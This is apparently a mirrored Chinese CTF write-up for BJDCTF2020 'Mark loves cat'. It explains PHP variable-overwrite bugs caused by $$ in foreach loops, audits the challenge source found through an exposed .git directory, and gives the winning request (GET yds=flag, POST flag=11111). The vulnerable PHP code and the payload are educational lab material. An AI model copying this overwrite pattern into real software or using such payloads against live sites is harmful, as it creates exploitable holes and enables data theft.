zoukankan      html  css  js  c++  java
  • [原题复现+审计][BJDCTF2020]Mark loves cat($$导致的变量覆盖问题)

     简介

     原题复现:https://gitee.com/xiaohua1998/BJDCTF2020_January

     考察知识点:$$导致的变量覆盖问题

     线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

     $$导致的变量覆盖问题

    $$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,

    使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。

    因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。

    <?php
    $name='thinking';
    foreach ($_GET as $key => $value)
    
      $$key = $value;   //这里进行了覆盖 $$key传入的值是name 传入进入成为$name 所以造成了name外部的变量被覆盖
    
      var_dump($key);
      var_dump($value);
      var_dump($$key);
    
    echo $name;
    
    //?name=test
    //output:string(4) “name”
    //string(4) “test”
    //string(4) “test”
    //test

    引用:https://www.freebuf.com/column/150731.html

     过程

    扫描发现git

    获取git源码 

    代码审计!

    <?php
    include'flag.php';
    $yds = "dog";
    $is = "cat";
    $handsome = 'yds';
    
    foreach($_GET as $x => $y){ //get传值
        $$x = $$y;  //漏洞在这里  比如输入 yds=flag 相当于 $yds=$flag
    }
    
    foreach($_GET as $x => $y){ 
        if($_GET['flag'] === $x && $x !== 'flag'){ //判断get传进来的值等不等于flag 如果等于flag则跳过
            exit($handsome);
        }
    }
    
    //检测get是否为flag 或者post是否为flag  必须两方都为假  否则输出$yds
    //通过这里我们就可以结合前面的来构造 既然要输出$yds所以我们想办法让$flag的值赋值给$yds  
    //构造yds=flag GET传输 在经过第一个foreach的时候进行了赋值 等于进行了这样的一个操作$yds=$flag  
    //所以这个条件为真就可以输出flag了。
    if(!isset($_GET['flag']) && !isset($_POST['flag'])){
        exit($yds);
        
    }
    //
    
    //检测POST flag是否为flag  或者get 是否为flag   //至少有一个为真则为真
    if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
        exit($is);
    }
    
    echo "the flag is: ".$flag;
    
    ?>

    最终构造pyload:

    GET:yds=flag
    POST:flag=11111

    得到flag.....

  • 相关阅读:
    Shell编程(/bin/sh和/bin/bash) 迎客
    Ubuntu命令大全 迎客
    一位软件工程师的6年总结(转) 迎客
    Ubuntu中常见特殊符号 迎客
    Nginx 简介 迎客
    IO流File对象功能删除指定目录中的空白目录
    五步让你成为专家级程序员
    关于eclipse 中文注释时中文字体太小的问题解决
    实现一个小小的动态时钟
    深入解析HashMap、HashTable
  • 原文地址:https://www.cnblogs.com/xhds/p/12586928.html
Copyright © 2011-2022 走看看